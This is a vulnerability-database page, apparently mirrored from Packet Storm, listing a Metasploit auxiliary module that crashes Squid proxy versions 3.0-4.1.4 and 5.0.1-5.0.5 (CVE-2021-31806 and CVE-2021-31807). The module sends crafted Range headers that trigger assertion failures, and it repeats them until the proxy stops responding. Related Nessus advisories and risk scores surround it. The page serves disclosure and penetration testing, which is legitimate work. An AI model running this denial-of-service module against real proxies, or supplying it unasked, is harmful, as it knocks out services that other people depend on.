Squid Proxy Range Header Denial of Service

🗓️ 31 Aug 2024 00:00:00Reported by Joshua Rogers, metasploit.comType

packetstorm🔗 packetstormsecurity.com👁 281 Views

Squid Proxy Range Header Denial of Service affecting versions 3.0-4.1.4 and 5.0.1-5.0.

Reporter	Title	Published	Views	Family All 152
Tenable Nessus	Amazon Linux 2 : squid (ALAS-2023-1950)	22 Feb 202300:00	–	nessus
Tenable Nessus	Amazon Linux 2 : squid (ALASSQUID4-2023-004)	27 Sep 202300:00	–	nessus
Tenable Nessus	Amazon Linux AMI : squid (ALAS-2023-1687)	23 Feb 202300:00	–	nessus
Tenable Nessus	Alibaba Cloud Linux 3 : 0132: squid:4 (ALINUX3-SA-2022:0132)	14 May 202500:00	–	nessus
Tenable Nessus	CentOS 8 : squid:4 (CESA-2021:4292)	11 Nov 202100:00	–	nessus
Tenable Nessus	Debian DLA-2685-1 : squid3 security update	15 Jun 202100:00	–	nessus
Tenable Nessus	Debian DSA-4924-1 : squid - security update	3 Jun 202100:00	–	nessus
Tenable Nessus	EulerOS 2.0 SP8 : squid (EulerOS-SA-2021-2317)	10 Aug 202100:00	–	nessus
Tenable Nessus	EulerOS 2.0 SP2 : squid (EulerOS-SA-2021-2433)	14 Sep 202100:00	–	nessus
Tenable Nessus	EulerOS 2.0 SP5 : squid (EulerOS-SA-2021-2519)	27 Sep 202100:00	–	nessus

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Squid Proxy Range Header DoS',  
'Description' => %q{  
The range handler in The Squid Caching Proxy Server 3.0-4.1.4 and  
5.0.1-5.0.5 suffers from multiple vulnerabilities triggered  
by specific HTTP requests and responses.  
  
These vulnerabilities allow remote attackers to cause a  
denial of service through specifically crafted requests.  
},  
'Author' => [  
'Joshua Rogers' # Discoverer, and Metasploit Module  
],  
'License' => MSF_LICENSE,  
'Actions' => [  
['DOS', { 'Description' => 'Perform Denial of Service Against The Target' }]  
],  
'DefaultAction' => 'DOS',  
'References' => [  
[ 'CVE', '2021-31806'],  
[ 'CVE', '2021-31807'],  
[ 'URL', 'https://blogs.opera.com/security/2021/10/fuzzing-http-proxies-squid-part-2/']  
],  
'DisclosureDate' => '2021-05-27',  
'Notes' => {  
'Stability' => [ CRASH_SERVICE_DOWN ],  
'Reliability' => [ ],  
'SideEffects' => [ IOC_IN_LOGS ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(3128),  
OptInt.new('REQUEST_COUNT', [ true, 'The number of requests to be sent, as well as the number of re-tries to confirm a dead host', 50 ]),  
OptEnum.new('CVE', [  
true, 'CVE to check/exploit', 'CVE-2021-31806',  
['CVE-2021-31806', 'CVE-2021-31807']  
]),  
]  
)  
end  
  
def on_request_uri(cli, _request)  
# The Last-Modified response header must be set such that Squid caches the page.  
send_response(cli, '<html></html>', { 'Last-Modified' => 'Mon, 01 Jan 2020 00:00:00 GMT' })  
end  
  
def run  
count = 0  
error_count = 0 # The amount of connection errors from the server.  
reqs = datastore['REQUEST_COUNT'] # The maximum amount of requests (with a valid response) to the server.  
  
print_status("Sending #{reqs} DoS requests to #{peer}")  
  
start_service  
  
while reqs > count  
begin  
res = req(datastore['CVE'])  
rescue Errno::ECONNRESET  
res = nil  
end  
  
if res && (res.code == 200) && (count == 0)  
count = 1  
print_status("Sent first request to #{rhost}:#{rport}")  
elsif res  
print_status("Sent DoS request #{count} to #{rhost}:#{rport}")  
count += 1  
error_count = 0  
  
next # Host could be completely dead, or just waiting for another Squid child.  
elsif count == 0  
print_error('Cannot connect to host.')  
return  
end  
  
error_count += 1  
next unless error_count > reqs # If we cannot connect after `res` amount of attempts, assume the DoS was successful.  
  
print_good('DoS completely successful.')  
report_vuln(  
host: rhost,  
port: rport,  
name: name,  
refs: references  
)  
return  
end  
print_error('Looks like the host is not vulnerable.')  
end  
  
def req(cve)  
case cve  
when 'CVE-2021-31806'  
sploit = cve_2021_31806  
when 'CVE-2021-31807'  
sploit = cve_2021_31807  
end  
  
send_request_raw({  
'uri' => get_uri,  
'headers' => {  
'Host' => "#{srvhost_addr}:#{srvport}",  
'Range' => sploit,  
'Cache-Control' => 'public'  
}  
})  
end  
  
def cve_2021_31806  
# This will cause Squid to assert with "http->out.offset <= start"  
%(bytes=0-0,-0,-1)  
end  
  
def cve_2021_31807  
# This will cause Squid to assert with "!http->range_iter.debt() == !http->range_iter.currentSpec()"  
%(bytes=0-0,-4,-0)  
end  
  
end  
`

31 Aug 2024 00:00Current

7High risk

Vulners AI Score7

CVSS 24

CVSS 3.16.5

EPSS0.85178